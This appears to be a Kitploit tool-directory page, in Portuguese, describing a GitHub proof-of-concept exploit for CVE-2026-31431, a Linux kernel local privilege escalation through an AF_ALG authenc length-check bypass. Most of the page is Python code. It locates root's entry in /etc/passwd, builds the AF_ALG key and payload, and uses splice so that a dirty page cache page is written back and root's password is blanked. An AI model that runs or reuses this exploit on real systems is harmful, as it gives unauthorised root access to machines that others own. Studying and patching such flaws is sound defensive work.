Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-31431-poc — Prova de conceito de exploit para CVE-2026-31431, uma escalada de privilégios no kernel Linux por meio da bypass da verificação de comprimento do authenc do AF_ALG, alcançando root ao modificar /etc/passwd. | Kitploit
Ferramentas/GitHubGitHub/yuspring/cve-2026-31431-poc
Escalada de PrivilégiosFrameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoExploração de Binários
GitHubyuspring/cve-2026-31431-poc

cve-2026-31431-poc

Prova de conceito de exploit para CVE-2026-31431, uma escalada de privilégios no kernel Linux por meio da bypass da verificação de comprimento do authenc do AF_ALG, alcançando root ao modificar /etc/passwd.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
33há 3 mesesAinda não revisado

CVE 2026-31431 POC

Esta vulnerabilidade explora uma falha na verificação de comprimento authencsn no Linux, fazendo com que páginas sujas (dirty pages) sejam gravadas de volta (write back) em locais aos quais o usuário não tem permissão, resultando em escalonamento de privilégios

O princípio de ataque é referenciado principalmente deste repositório, com algumas modificações no payload
https://github.com/rootsecdev/cve_2026_31431

image Esta imagem mostra o patch de correção do kernel Linux 6.12.85; no futuro, farei trace desses patches no código

Processo de Implementação

  1. Abrir e modificar o /etc/passwd na RAM
root@kitploit:~
# Get /etc/passwd file info
with open("/etc/passwd", "rb") as f:  # binary open
  content = f.read()
  idx = content.find(b"root:x")  # find root:x location
  x_offset = idx + 5  # Get x location

O objetivo é alterar a senha do root no /etc/passwd para uma senha vazia (sem passar pela verificação do /etc/shadow)

root@kitploit:~
# Before: root:[x:0:]0:root:/root:/bin/bash
# After   root:[:0:0]0:root:/root:/bin/bash
exploit_data = b":0:0"
  1. Conectar o socket e construir o payload
root@kitploit:~
sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)  # Connect socket AF_ALG using sequence packet
sock.bind(("aead", ALG_NAME))

# Build the key payload
# Structure: [rtattr header (8 bytes)] + [enc_key_len (4 bytes)] + [authkey] + [enckey]
authkey, enckey = b"\x00" * 32, b"\x00" * 16
rtattr = struct.pack("HH", 8, 1)
keyparam = struct.pack(">I", len(enckey))
key = rtattr + keyparam + authkey + enckey

# Set key and accept socket
sock.setsockopt(SOL_ALG, ALG_SET_KEY, key)
op, _ = sock.accept() # open socket

# Send payload
payload = b"\x00" * 4 + string
cmsg = [
  (SOL_ALG, ALG_SET_OP, struct.pack("I", 0)),  # Decrypt
  (SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16), # Set IV
  (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", 8)), # Set AAD length(8)
  ]
  op.sendmsg([payload], cmsg, socket.MSG_MORE)
  1. Enviar o payload pelo socket para fazer com que a página suja seja gravada de volta no arquivo
root@kitploit:~
# Splice connection
# Page Cache(exploit payload) -> socket(AF_ALG) -> Data(write back) -> pwn!!!
pr, pw = os.pipe()
os.splice(fd, pw, 32, offset_src=x_offset) # copy data from Page Cache to pipe
os.splice(pr, op.fileno(), 32)             # copy data from pipe to socket
try:
  op.recv(64)
except OSError:
  pass

Reference

https://xint.io/blog/copy-fail-linux-distributions

Baixar ferramenta